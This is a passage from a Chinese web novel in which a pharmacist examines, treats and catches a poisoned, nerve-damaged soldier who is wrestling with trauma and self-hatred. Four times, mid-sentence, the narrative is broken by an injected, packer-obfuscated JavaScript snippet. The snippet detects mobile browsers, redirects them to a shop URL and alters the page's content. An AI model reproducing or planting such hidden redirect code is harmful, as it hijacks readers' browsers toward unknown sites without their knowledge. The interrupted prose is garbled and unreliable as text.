西尔万有所思地追溯了一下对方这个病情的根本原因、形成情况,又很快把思路拉回到了病情本身上。 虽然心理上肯定是有问题的,但他现在觉得还是神经损伤症状的可能性更高。 自主神经功能障碍和中枢神经系统功能影响其实都会产生类似反应来着,情绪大概只是诱因,甚至自己的身份也是一部分。 在特定指向的高压下,身体、精神的紧张确实有可能诱导某些症状爆发——就像情绪起伏往往有可能触发心脏病、高血压一类的情况爆发一样。 ……主要还是这么想能让他现在稍微放松点,真要有问题也等以后再说吧,心理疾病什么的对现在的他来说还是有些为时过早了。 就连刚才那样舒缓状态的办法都是好不容易才想起来的,真对上疾病真是完全想不到一点解决办法,甚至如果非要处理的话在这个心理学荒漠的世界里几乎要从头开始…… 回忆一下自己之前启动药学项目时的痛苦,如果不是对方还在关注着自己的神情,西尔万是真的要做深呼吸了。 15. 跌倒 第十五章 思考自己能不能治好对方其实也只是一两秒的事情,反正想做就做了,西尔万从来不在这种事情上为难自己——反正无论是坚持还是放弃都也不至于真的给他带来什么无法承受的负担,精神和物质上都是。 于是青年的思路又丝滑拐到了专业方向,陷入了对接下来治疗方向的思考。 同时他手上也不忘从一旁的仪器上拉几根线出来,连在艾利安身上贴电极片测数据——今天的任务可不能就这样跳过。 这点意外并不足以打乱他的计划。 好像之前的突发情况根本没有出现过,青年如此这般自然退开、忙忙碌碌好一会儿,可谓是给对方留下了充分的自我情绪消化时间,终于再次看向雌虫的眼睛: “等下就开始用仪器——神经类的检查可能会有点不适,你要及时反馈你的真实感受、方便我做调整。” 有些医疗检查项目就是会带来不适的,比如抽血,比如某些可能产生后遗症的测试,但是抽血是必要的忍耐,西尔万现在做的却是让他及时给出反馈、判断病情。 哪怕描述不符合现实,起码也能判断一下是伤势不如他所推测、还是疼痛等重要感知出了问题—— 病虫的自我感知和叙述对治疗来说非常重要,毕竟现在的医学还没有发展到那个能靠单纯仪器检查出所有问题的程度,更多时候还是要靠医生的诊断以及患者本身对于自己症状的描述。 再进一步,就靠医生从检测结果里面旁敲侧击出某些问题的可能性了,属于那种比西尔万经历过的人类现代西医学稍微落后一点的程度。 毕竟就和科技一样,现在的医学水平……其实也很有些说法的。 起码没有落后到中世纪医学的程度,也能算是件好事吧。 对于确实见过更先进星际时代的西尔万来说,这个世界的科技点多少点得有些歪,像是前星际时代,因为来自生存的压力而无法保证均衡发展,给西尔万带来一种微妙的既视感。 学完历史之后其实也完全能理解呢,只能说是生存所迫,必须优先发展对于文明存续最重要的几个方向。 虫族文明不比人类,是几乎不存在科技爆炸的,能快速把科技等推进到现在这个程度是高度偏科、倾斜资源的效果。 如果不是各个宝石种的天赋可以做到进一步推进不同科技的发展,虫族现在的科技偏科情况会比西尔万想的还要严重。 而这种方向倾斜持续到现在,即使如今社会稳定可以往回调整,也很难在短时间内实现各方面的均衡。 另一边,艾利安敏锐地觉察到了雄虫方才注视自己眼神中的思量意味,可大概是因为之前的事情消耗了太多,他已经有些迟钝的心还没来得及为此生出些许情绪,就被他接下来的动作安抚到。 没有任何多余的感情、纯粹在意他的“身体”,这种稳定其实是会让艾利安感到安全的特质。他其实也不需要更多的感情赋予,对于虫族来说本就稀薄的东西,如果被加注在他身上只会让他想要退却。 感情是不稳定的。他吃够了这种痛苦。 所以此刻的雌虫安静地点了点头:“我会尽力的。” 他其实……不太擅长描述自己的真实体感——或者说在某种意义上,他对自己的感官失去了信任。 神经系统损伤对虫造成的影响要比单纯的疼痛复杂深远太多,单单是感觉异常这一项就足够留下深刻的阴影。 很长一段时间里艾利安无法判断自己眼前的一切到底是真实还是虚幻,连自己的肢体都无法完全控制。 而且他现在的情况,身体几乎没有一处是不疼的,这种疼痛的覆盖让他难以精确识别到那些细小的感知。 ……之前西尔万的触碰却要除外。 西尔万明白了他的意思,但其实他感觉艾利安的情况没有那么严重,毕竟到他这里之后对方的伤情基本就没有再严重下去了。 不说完全治疗,他之前为艾利安制定的方案起码保证毒素不会进一步侵蚀身体、同步造成的伤口也在一定程度上愈合。 在这种情况下,神经损伤导致的幻觉不会特别严重、乃至导致发生认知混淆——而且以他身体里毒素的侵蚀情况,幻痛也确实没有什么存在的余地。 神经性幻痛很难达到他身体疼痛的真实水平、所以大多数时候只是混淆选项,倒是需要担心一下他伤势愈合后会留下幻痛后遗症,以及精神里受损导致的疼痛。 总之,病虫愿意配合、努力描述自己的体验总是件好事,西尔万直接开始了他的检查。 摸索着进行触诊和辅助、时不时调整一下仪器,西尔万当然有控制自己的动作,但也不知道是艾利安太过敏感还是别的什么,成效并不太好,对方的反应一直很大。 再次在肢体接触时感知到手下身体的轻颤,西尔万即使再专注心中也不禁腾起些许困惑。 ……难不成真的是自己太久没做这种工作,手法有哪里不对? 还是,太敏感了? 耦合剂难道真的有这么冰吗,明明自己也摸到了的。 一套检查做完,艾利安整个虫都差不多红了,西尔万带着点疑虑,手指在他伤口上停了停,若有所思地收回,顺手拨了拨雌虫太长、飘到自己身上有点干扰检查的头发,看向已经差不多全部跑出来了的数据分析。 不出意外的结果。 “是神经方向的混合类毒素,治疗周期估计会拉得很长。” 西尔万基本确定了毒素集中破坏的部分、也推测出了它接下来可能有的走向,简单给出了一个结论, “不过刚好和我手上一个课题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990954|193702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有关系,大概,起码需要两三个月时间?——不排除时间更长的可能性,我会稍微调节一下优先度,但建议你不要太过期待。” 毕竟两三个月是把全部工作时间全部花在这件事上所需的时间,按理来说,他肯定还是有其他工作需要处理的。 艾利安似乎对此并不在意,他似乎还有些欢呼的抽离,闻言只是低声问:“……我可以穿上衣服了吗?” “啊,可以。”专注检查的西尔万显然没怎么在意对方身体上的赤-裸。 或者在医生眼里他真的只是块肉而已,哪怕不算医德之类的问题,西尔万对“课题”也很难有什么世俗的欲望。 “我会给你配一下新的药剂,明天的治疗我来负责。” 而在他说话时,艾利安走向一旁放着的衣物的动作一卡,在刚在治疗里有些麻痹的肢体也顿时不听使唤,僵直、失控,在这个特殊的关节上猝不及防令他直接绊倒在原地。 “?” 西尔万的反应很快,对方几乎就是在自己身旁跌倒的,所以他只是伸手一揽就把虫救了起来,恰到好处地揽在了自己怀里。 ……西尔万的体质是A级,几乎达到雄虫极限的等阶甚至比降级后的艾利安还要高,所以虽然看起来清瘦高挑,身体里却蕴含着强大的力量,要抱起很大一只的艾利安也完全是轻轻松松。 但手上的仪器要双手辅助才能放好,怀里这只虫又应该是处于突发的肌肉麻痹状态,他两个都不好直接放下,就这样僵持住了。 青年实在无奈地看看比自己高了半个头、虽然能抱起来但姿势实在奇怪、身体甚至还赤-裸着的艾利安,到底没有开口问他能不能活动,只是稍微调整了一下姿势,起码让艾利安的双脚着了地、不像之前那样悬空着没有安全感。 至于手上的仪器……要不还是直接摔了吧? 反正他确实也不缺这么点钱,只是处理起来有点麻烦而已。 “……唔……”猝然倒下又被抱起,本来习惯这种情况的艾利安艰难地呼出一口气,还是在这种突兀剧变无法克制地颤抖起来。 熟悉的身体反应,放在这句赤裸的、遍体鳞伤的身体上,甚至会显出一点微妙的涩情。 所以这也是军雌会受某些群体喜爱的原因吗?西尔万走了下神,手臂还是环着雌虫的腰—— 他的身体麻痹还不知道要多长时间才能恢复过来、需要其他力做辅助才能保持站立,西尔万若是松手,他有很大可能会直接摔下来。 不管出于什么样的原因,尽管自己都不甚了解,可西尔万多少还是在尝试着去维护自己这位病患的心理状态。 虽然想到那个方向之后总感觉好像有哪里不对,但确实是病虫……还是,先保持着这个姿势吧。 他礼貌地移开目光、放空了视线。 16. 失权 第十六章 雄虫的手臂异常稳定,没有半点要偏移的意思,尽其所能给失去了身体控制能力的艾利安提供安全感和尊重——虽然他自己也知道,这对艾利安的影响约等于无。 信任感和安全感的毁灭,只需要短短一个瞬间,可要再建,却不只是一朝一夕之间就能轻易完成的事情。 显然已经经历过无数次失望的雌虫,又怎么会因为一个简单的举动就对一个才见过两次的雄虫建立起根深蒂固的信任机制? 只是,猝然跌倒的艾利安确实接收到了他所想向他传达的意思。 ——不用担心,不要着急,我会为你提供帮助,我不会放手置你于险地。 在这突兀无从抵抗、几乎足以击碎尊严的痛苦前,你可以短暂而浅薄地相信我。 短暂而稍纵即逝,像是一根蜘蛛丝。 而无论多么可悲又多么可笑,此刻的艾利安确实感到了某种……浅淡到一戳即破、但又切实存在的安全感。 他极力想要保持住的清醒意识没有让他找回对身体的控制力,反倒让他更加清晰地品味到了自己心底生出的繁复情绪。 痛苦。羞耻。无力。悲伤。绝望。委屈。渴求。自卑。 突然摔倒、身体失控,这对重生前后的他完全就是家常便饭,起码今生经历这一切的只有他自己、倒下时最多也就只有塞安会来干涉自己。 是安静的环境,无需担心有更多的危险存在,起码他自己可以慢慢地爬起来,一点点恢复控制力,再像什么都没有发生过一样恢复被倒下的自己搞砸的一切、继续做之前的事情。 ……这甚至是他第一次在倒下时被扶住。柔软的触感和坚定的支撑代替了疼痛,甚至让惯于忍耐的雌虫感到无所适从。 无法抗拒的“安全感”,仿佛确切存在的某种支撑,艾利安突然意识到原来自己如此平凡而脆弱,不堪一击。 没有体验真正过的虫其实很难明白,失去身体控制权对一个独立存在、本来可以随心所欲地支配自己的肢体自己的精神力做到超乎焚普通虫想象的事情的虫来说是一种多么难以接受的事情。 比起肉-体上的疼痛,最能摧毁意志的其实是精神上的失权。 肢体的某一部分会突然挣脱控制,摔倒、失控、破坏掉某些东西,正在做的事情会因此嘎然而止乃至前功尽弃,又或者众目睽睽之下展露自己的无力,难以面对又不得不面对的所有。 控制自己的权力毫无征兆地被剥夺、只能自己艰难地挣扎修正——甚至只能依靠一个不知道是否能够信赖的虫。 这种体验几乎可以否定掉虫内在的坚定而独立的那个部分。 安全感和对自己肢体的信任感掌控感在一次次失控的经历中被一点点摧毁。 不得已向他虫求助、将自己的控制权交付给他虫的失控感也是失去主体性。 还有从头到尾存在着的无力感、为此控制不住地只能开始否定自己的一切。 ——因为确实啊,这样的自己,什么也无法做到吧? 某些事情变得只能依靠他虫去实现,但是根本没有可以依靠的虫。 而因为“本来可以轻松完成现在却做不到了”的那些事情,从外部和内部同时产生的、无从反抗的压力,一点点地将这样的想法刻成了思想钢印。 他确确实实,什么都做不到。 信念的崩塌往往只在瞬间,因一场宏大的毁灭或一个幽微的细节……而对于艾利安来说,这两者他都不缺乏。 所有所有无法做到的事情,一次一次摔倒无法爬起。 曾经少将的骄傲和自信在短暂的一年里几乎完全被碾碎,他在得到重来一次挽回过去一切的机会之前就已经变成了一片废墟。 所以从重生开始就没有想过能真正意义上改变些什么。 警惕、思考,但其实并没有真正付诸行动的改变、连自己过去的朋友都没有尝试着去联系过,本能地回避“接下来到底要做什么能做什么”的问题,其实好像也没什么还要去做的了。 几乎放弃了挣扎、完全徒劳只是给自己以心理安慰地思考着,毫无自主性、也不觉得自己拥有自主性地,等待着、甚至要求着“雄子阁下”的命令。 漠然地展望,消极地等待,一无所有者毫无选择地选择了随波逐流,甚至在第一次见面时就把主动权和控制权交给了完全不知道是否可信的虫。 或者真的试图做出些什么改变,但也只是“试图”。 那些不曾诉诸于口的防备抗拒,连消极抵抗都算不上。又仿佛早就已经预见、接受了自己的未来。 而现在,西尔万突然给他提供了某种……起码在这短暂的时间里,确切存在的支撑。 其实他并不真正需要吧?明明已经习惯了一次次摔跤然后站起不是吗—— 但是啊,意义,希望,随便用词去形容去揣摩去试图将它化成确切存在的一种东西也好——可他是不是真的有在期待些什么。 荒凉的一整个世界里,有谁试图再点起一团火,有谁试图再去找到一缕光。 而星辉洒落在他身上。 即使再如何一再提醒自己不要去相信、不要随便把自己仅有的东西交付出去,确确实实已经一只虫在风雨中独行太久的艾利安在这一刻,也实在无法抵御。 ……他倚在西尔万身旁,荒芜朱红的一双眼中,无法自制地落下两滴泪来。 那一瞬雌虫眼底亮起的微末的光,他自己又怎么能看得到。 …… “……”这么点重量对西尔万而言实在算不上负担,他并不去深思怀中虫一连串或者复杂或者痛苦的心理反应,甚至也没有在意那两颗莫名其妙的眼泪,只是淡淡别开了眼,开始放空思考毒素的中和思路。 以及,感觉自己再次被强调了这样一只雌虫照顾起来的难度。 像是反复被提示了什么,需要更快地做出决定,是心生爱怜、愿意倾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990955|193702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽所有去救赎他,还是一如既往地厌烦所有需要交际、要和虫心灵相触的事情退却,把对方放逐在那一片焚尽一切的荒凉之中。 要么舍弃他,要么拯救他,难以用“极端”去形容,只是确实没有中间项可言。 而西尔万无论哪一项都不想选。 虽然很麻烦没错,但他总是能做到自己想做的事的。 ……还有,艾利安的头发还散着,有点蹭到了,好痒。 非常怕痒的自己居然没有避开。西尔万简直要为自己这个业余药师的医德所感动了。奖励自己回去抽一根烟。 专注力很强的药师思考的时间最多不过两三分钟,揽着雌虫的腰的手臂就能感知到手下的肌肉有了明显的力量感—— 他今天穿的衣服实在很薄,艾利安之前又是在前去穿衣服的路上,所以皮肤之间只隔了一层轻薄的布料,双方都能清晰地感知、阅读彼此的动作—— 艾利安恢复了自由活动的能力。 西尔万慎重地等到对方独立站直身体才收回手,终于能转身、双手把仪器放到该放的位置,并不把这略显尴尬的事情放在心上:“先去穿衣服吧。” 抱在怀里那么久的是一具完全没有反抗能力的赤-裸身体,虽然西尔万并不是什么在意这种事情的人也免不了觉得有些微妙。 剥离药师和病人的身份,对于很久没和人或虫发生亲密接触的他来说,刚才的事情也实在有些过界。 以及,真的好痒。那样细软的发质简直不像是艾利安这种虫能有的。 这些细微的心绪对西尔万并不会造成什么真正意义上的影响,他努力克制着脖颈间残留的痒意,手上快速地把自己刚才出神时想到的思路记下来,回过头再看到的就是已经套上了宽松病号服的艾利安。 “……谢谢。”雌虫注意到他的目光,低声说。 他的目光还隐晦地在西尔万身上巡睃着什么——难得的直视。 “小事。”西尔万随意道,还是有点走神。 艾利安有点迟疑地低低开口:“脖子有点红了……?” “头发蹭到了。”再次被提醒了这件事的西尔万终于克制不住抬手稍微抓了两下,又很快放下—— 于是素白皮肤上那片简直暧昧的红变得越发显眼起来,让雌虫控制不住地去看、又艰难地移开视线。 非常……敏感的样子。 实在太过冒犯,他甚至没办法忘记雄虫身上那一点清凉过分的浅淡薄荷气息,夹带着一点难以察觉的烟火气息。 是沾上的草药的味道吗?这个问题在他脑海中一闪而过,盖过了那几乎形成了条件反射的精神痛苦。 好像薄荷的味道真的为他带来了短暂的“清醒”。 短暂的沉默之后,并不知道自己面前雌虫心里都想着什么乱七八糟的东西,西尔万只是听到对方猝不及防地开口道歉:“对不起。给您添麻烦了。” 他只是一个“麻烦”而已。 17. 软红 第十七章 “没事,你长发挺好看的。” 西尔万并不把这件事情放在心上、甚至都不觉得这有什么好道歉的。 他完全按照自己的意思去理解对方的言语,顺带着又询问了两句艾利安对刚才突发情况的体感。 这样稳定的内核成功把对方心中难言的混乱安抚下去大半——却并不会因此忘记。 终于,完成了所有诊疗的药师给出了一个浅白的结论,“神经系统损伤对你的生活已经造成了严重的影响……我会想办法先解决这个问题。” 在意识到雌虫的脆弱之后,他非常自然地开始关心对方的心理——若非如此,向来厌于社交的他都不会做出如此详细的解释。 流程上先解决毒素再修复神经是必然顺序,身体反映出来的再小的问题背后也是被毒素侵蚀的神经。 若是不处理掉毒素,即使修复了神经系统也会很快重蹈覆辙、再次被毒素侵蚀。 甚至带一点超凡因素……毒就是这么麻烦、这么可怕的东西啊。 这对西尔万来说同样是不能调转的因果关系,但只是跳过修复神经系统的问题、先用其他手段保证艾利安对身体的控制能力却并不算难。 闻言,艾利安注视着他的、近乎死寂的猩红眼瞳中似乎终于点起了一点微末的火光—— 啊,发现这一点的西尔万愣了一下,只是因为这句话吗?是在这一刻才亮起来的吗? 过了很久远离人群以及虫群的生活,在确切的感情感知上实在对自己没什么信心,不过更多应该是懒得去想,他本来也不怎么在意这种事情。西尔万并未深究、很快把这个念头抛在了脑后。 即使在某种程度上甚至可以算驾轻就熟,但他确实是不想去接触、甚至疲倦或者排斥着理解的。 “不过代价是会在一定程度上眩晕、也会耗费精神力,你能接受吗?”西尔万又补充,“毕竟这种情况实在特殊,只能使用一些超常规手段了。” 西尔万的超凡能力从第一世延续到现在,是以植物相关超凡为核心的药物配置——只要解析、同化的植物特性足够多,再不可思议的药物也能凭空配置出来。 这种能力也是有限制的,毕竟药物的配置起码需要材料、配方和配置过程,在前两者不知道、后者也完全由超凡代替进行的情况下,空想成药的药物配置定然会消耗大量能量。 付出和能力总是成正比,作为一只还在成长期(他还没有二次分化)、精神力开发过度谨慎的虫,西尔万现在的能力可以直接通过超凡配置出治疗大多数不涉及超凡的疾病或毒素的药物。 但直接空想制造出和超凡、精神力相关的药物的消耗却实在很大,非极端情况下不会强行使用——即使是天枢裔,在这种创造性的工作上也不会得到什么优待。 若非如此,他之前就直接处理艾利安身上的毒素了,毕竟透支一两次其实不算大事、还有利于锤炼能力。 可他一感知就知道艾利安身上的毒不是这么简单就能被去除的,在没有上辈子那么多性状稳定的超凡植物辅助的情况下,他暂时无法凭空制造出那样的药物。 不过只是现在这样,用高消耗以及一定的身体症状来换取身体控制力的药物,那在西尔万本人已经有了一定思路的情况下倒也不是不能实现。 之前没想到做这个只是没注意到艾利安还有这样的需求而已—— 都说了他对艾利安的关系半是道德半是利益,难以用“真心”去划定,所以虽然看到时完全能够凭着共情能力和知识面去理解体会,但确实不太可能预先去探究、意识到这一点。 塞安倒是有发现,可智能把这类情绪一律划分为“精神状态不好”,并不会特意去提醒西尔万……很难说是智能的缺陷还是选择。 可能完全就是因为优先度的问题不准备让西尔万在艾利安身上太过费神。 ……药物? 确实如西尔万所想,能够恢复控制身体的能力对于艾利安来说就已经是一个巨大的惊喜了,身体上的疼痛对他来说并不是什么难以接受的置换条件。 倒不如说,能用单纯的身体症状来交换这种自我控制能力就已经是他过去想都不敢想的好事了,经历了那么长时间的痛苦磨练之后,这难道还是他会抵触的事情吗? “当然可以。”即使甚至都无法确定对方是哪里来的把握,可艾利安甚至连详询的勇气都已经失去了,在这一刻,他甚至无法确定自己对于这一件事情的心情到底是期待还是抗拒,甚至于无法直面。 只是,在给出肯定答案后,他的下一句就是接近本能的,“——需要您付出很多吗?” 特殊能力…… “嗯?”西尔万闻言看了他一眼,倦怠中带着些许困惑,为他这种简直不像虫族的过分“道德”,“……这是我的异禀,百药枢机。” 宝石种各有对应的特性和天赋,浅层开发会使涉及那么一点超凡的能力生成相对稳定的“异禀”,可以理解为某种能力提升到极致之后升格为“技能”、在一定程度上超凡。 比如做菜的能力提升到一定限度之后会开发出使用者回血的、本无法实现的效果,可到底还是有现实依据的。 而更深入的开发、触及到“极限”又突破之后,异禀就会完全升格,生成和宝石种有关、又共鸣了开发者特质的超凡核心“天枢”。 生成天枢后依附于天枢异禀和普通的异禀有着天壤之别,就像从制作的食物能回血变成能用类似游戏合成的方式制作出有特殊效果的食物,跨越式的强大。 名为天赋异禀,核为宝石天枢——或称灵核——这称呼是非常特殊的概念锚定。 大多数宝石种都是异禀者,宝石种天生的天赋已经足够使用、开发出最基础的异禀,甚至能开发出两种以上不稳定的异禀。 而一百万位宝石种中,都不一定能有一位开发出完整的天枢·宝石之核,将自己升华。 现在的虫族社会中,持有天枢裔身份的不过十来位,各位都是顶梁柱一般的存在,可见其珍贵,以及无可质疑的绝对强大。 基础的精神力运用、异禀开发之后,天枢异禀、天枢裔是更高级也更接近“真理”和“边界”的、真正的超凡。 也就是西尔万现在的身份。 而他说出的“百药枢机”,正是自己异禀的名字。 理论上,宝石种在晋升为天枢裔之后,以具有唯一性的稳固天枢为核心,能够开发出两种以上的异禀,形成稳定且强大的体系。 而常规对外宣告、介绍的只是天枢的名字,并不会具体提到独立对应的异禀。 天枢裔的具体能力几乎都被隐藏,外界只会知道大概的方向,比如说当今元帅的天枢核心就与剧毒有关,显然是依据他的本体开发的。 序列一或二的异禀往往是天枢凝聚前的能力,一般都会和天枢使用同一个名字,也有拿副异禀作为名字、或者直接提到所使用的异禀名字的可能。 所以“百药枢机”就是西尔万的核心异禀? 关于西尔万是天枢裔这件事情,艾利安当然在之前就已经知道了,可就像他刚刚得知这事件事情时所想的那样,这并不是正常的。 他前世匹配到的雄子只是一位A级的普通雄虫,异禀的状态相当不稳定、甚至无法评级——而天枢裔,可以说是整个虫族数以亿万计存在中亿里挑一的金字塔顶、联邦的统治阶层。 甚至艾利安之前在对方自称为“药师”的时候没有做出反应就是一个巨大的破绽,天枢裔的数量之少、地位之高,每个虫族都会了解,艾利安却居然在面对主动展露自己身份的西尔万没有做出表现…… 他不知道对方到底是因为送自己来到这个的那个存在而刻意无视了这一部分的疑点还是真的对他有了些猜测。艾利安不敢深思也放弃思考。 背后的事情暂且放下,拉回天枢异禀本身。 以虫族目前对异禀的研究,所有异禀都有各自的底层逻辑机制、需要达到一定的前置条件并付出一定的代价才能使用: 等价交换的基础规则即使放到这不科学的领域依旧成立,支配特异总要消耗一定的能量。 这种交换是定然存在的,即使有了天枢这样的核心也只是能稳定这种“交换”,无法让一种能力的使用从此无需付出代价。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990956|193702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比如说最简单的元素亲和是所有宝石种一般都会有的天赋,翡翠种有木属性亲和、黑曜种有火属性亲和,如果宝石种的亲和实在很高的话,可能刚刚蜕变为宝石种就会转化对应的异禀。 如此“顺理成章”的基础异禀,其使用模式在经过天枢稳定后只会产生精神力或者体力方面的消耗,只在极端情况下透支使用生命力。 但更多的异禀所要消耗的则是特殊物质、有着一定的“机制”。 一部分宝石种的异禀使用需要消耗对应的宝石或者更多的矿物,有些异禀开发出来就是以生命为代价启动的爆发,再或者物质层面乃至概念的置换。 艾利安曾经的一位朋友的核心异禀与运气有关,涉及了虫族目前暂时无法解析的运气一说,对更“强”的虫下手就有被反噬的风险,一种玄之又玄却又确实存在的机制、代价。 ——归根结底,这是因为虫族跨入超凡的时间实在太短,目前只是探索出了天枢和异禀,并没有建立稳定的、类似“内力”“真气”“异能力”“灵力”“魂力”的能量体系,哪怕只是短暂的、脱离外界影响的能量循环。 体系上的不完整导致了能力的使用中也没有可以作为“通用货币”、“一般等价力量”的存在,所以往往是直接消耗精神力、体力或者其他存在来交换,难以等价而不稳定。 即使有了天枢作为一切的基石与核心,对力量的统合依旧不完整——毕竟主体没有想过将其统一,那本质上也只是工具、只是主体“主动”凝聚出来的灵核的天枢自然无法做到。 基因也从来没有稳定地做出这样的选择、又或者真的有天枢裔想到过这个可能,但是无法实现、现在的底蕴不足以实现。 实际上,虫族的超凡发展已经停滞了,卡在了某个瓶颈、又或者选择的岔路口。 艾利安当然不可能意识到这一点,他现在的慎重,只是作为这个体系之下的能力者,自然明白这不确定的代价有多可怕而已。 在他眼中,西尔万作为翡翠种,拥有木属性的亲和、并和他的职业融合在一起发展出这种药物相关的能力并不奇怪,作为天枢裔甚至理所当然。 但如果这种能力是“理论上能治愈的病情就都能治愈”的话,定然有着特殊的机制。 艾利安其实并不想去探究西尔万异禀的具体情况、那有些太冒犯了,更切实点说就是天枢裔的能力根本就不是他能去询问的,哪怕对方在身份上是他的雄子阁下也是一样。 他在意的只是这种能力是否确实是机制类异禀,除了能量消耗以外还有其他需要付出或者牺牲的。 ——天枢核心的存在只是稳固了代价,并不等于这种代价就会减少。 他实在……付不起也不值得更多的代价。 本能的不配得感、羞耻、恐惧以及警惕又开始在他心中翻涌了。 “……即使是天枢裔,异禀的使用也不一定稳定。”他勉强挤出了这样的短句。 天枢裔所能做的,也只是“在一定程度上”锚定自己所需要付出的代价而已。 而西尔万并没有意识到——哪怕已经意识到了自己可能需要时不时照顾一下对方的心情,但这种微末处的感情处理对几乎不怎么和虫进行社交的他来说还是有点太过细致了。 “只是能量而已。”确实是涉及一些特殊的能力设定,青年最后也没有真正回答这个问题, “明天估计来不及,你休息一天、保持好身体状态,我后天配好药就来处理这个问题。” 并未征询自己意见、也不需要自己意见的决定。 艾利安做出了这样的判断,那些翻涌的思绪仿佛骤然卡顿、也像是在一个瞬间里被黑洞吞噬,此刻若是回望,他会困惑于自己怎么会生出如此丰沛的感情,那些完全被西尔万引动甚至把玩着的情绪。 雌虫过分温顺地咽下了所有想说的话,轻轻垂首,视线终于移开:“……好。” 却是,落在了西尔万那片本该白皙的颈部皮肤上。 那么多繁复的思绪流水般淌过,那个念头竟然还是没被洗去。 ……脖子,还红着。 因他而起的红。 18. 红色 第十八章 虽然有了明晰的思路,但药物的配置依旧不是什么简单的事情。 两天后艾利安见到的西尔万脸上依然带着浓重的倦意,让他忍不住怀疑对方这两天是不是根本没有休息。 对于雄虫来说,睡眠还是很重要的吧?他们毕竟和雌虫不一样。 “……” 青年看向自己的眼神依旧是平和而微倦的,柔软到能接纳一切的触感。艾利安停顿了一下,嘴里的话到底没有说出口。 不要说出这种多余的话了。他警告自己。不要……在对方为你付出什么的时候,说出“扫兴”的话。 你要识趣一点。面对这种事情的时候,不需要多想,只要感激就已经足够了。想得更多,最后只会伤害自己。 可应该是有什么东西在他心脏里跳动着吧,完全不一样的,陌生的节律。 温暖到炽热的程度,活跃到甚至撞痛他顽强的心脏,就和西尔万给他的感觉一样。 ……总不会是他真的趁着把脉的时候往自己身体里面注入了一颗全新的、陌生的心脏……所以是什么新的躯体化症状吗? 还是,和看到那片红时一样的心情。 有某种想法,想要把自己的心脏剖出来看一看的莫名念头冒了出来,他的牙齿和指尖一起痒了起来,连长发都微妙地蠕动着,似乎蠢蠢欲动。 他总是会控制不住自己脑子里那些近乎残忍的、对自己这具身体生出的妄想。或者应该庆幸这些念头到目前为止都没有被真正付诸实践过。 可完全无法控制的兽性也是恶心的东西吧。 而西尔万对此一无所知,勉强提起了点兴致向他展示手里看起来更像毒药的药剂: “材料里用到了你的血,调配出来的颜色倒是很好看——是注射类药剂,我先给你给你做个大概检查。” 艾利安不知道什么时候完全凝固在他身上的目光闻言终于浅浅偏移,药剂管中的药物流淌着与他中毒血肉相似的虹光,妖冶异常。 却也确实如西尔万所言,是足够绮丽的色彩。 大概检查。他无声地缓慢重复。时隔短短两天的检查,目的鲜明得他甚至不用细想。 只是为了保证他在药物使用时的安全而已。 虫族社会在对雌虫的药物使用上没那么多讲究,尤其西尔万又是天枢裔、又因为是“药师”在有关方面拥有相当程度的特权,要不是被第二世严得要命的药物审查以及各种各样的规章制度折磨了半辈子、有些东西已经成了习惯,现在的西尔万也不会这么慎重。 毕竟雌虫嘛,还是宝石种,皮糙肉厚的,只要没死总能救回来—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990957|193702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一世他拿自己当实验体测试药物性能的时候也是这么想的。 同理,并不觉得自己需要如此慎重对待的艾利安带着点难言的心绪接受了他的检查。 就和之前使用的取血针一样。 这是,被“珍惜”吗……? 就和之前的“纵容”一样,他近乎敏锐地捕捉到了那一点似乎柔软的、为自己考虑的思绪。 可以理解的、对实验体的爱惜。 但又无法剥离在外、过分冷漠地去看待。 所以是不是说明自己还在尝试着去汲取一点类似“爱”的东西。 因为饥饿,因为寒冷,因为永远无法饱足。 不堪的、卑贱的、饥渴的灵魂。 他再一次条件反射地开始诘问、谴责自己。 到底为什么总是会生出这样的想法。根本不应该的。简直是恶心的。 我是,恶心的。 有什么可怕的、无法回避的声音又在耳边响起来了,钢椎从耳朵从眼睛贯入了大脑,黑暗或者痛苦想像触手缠上他的灵魂,有些污浊永远无法擦去。 【真是恶心啊,一副高高在上的样子,结果还不是需要我的精神疏导?】 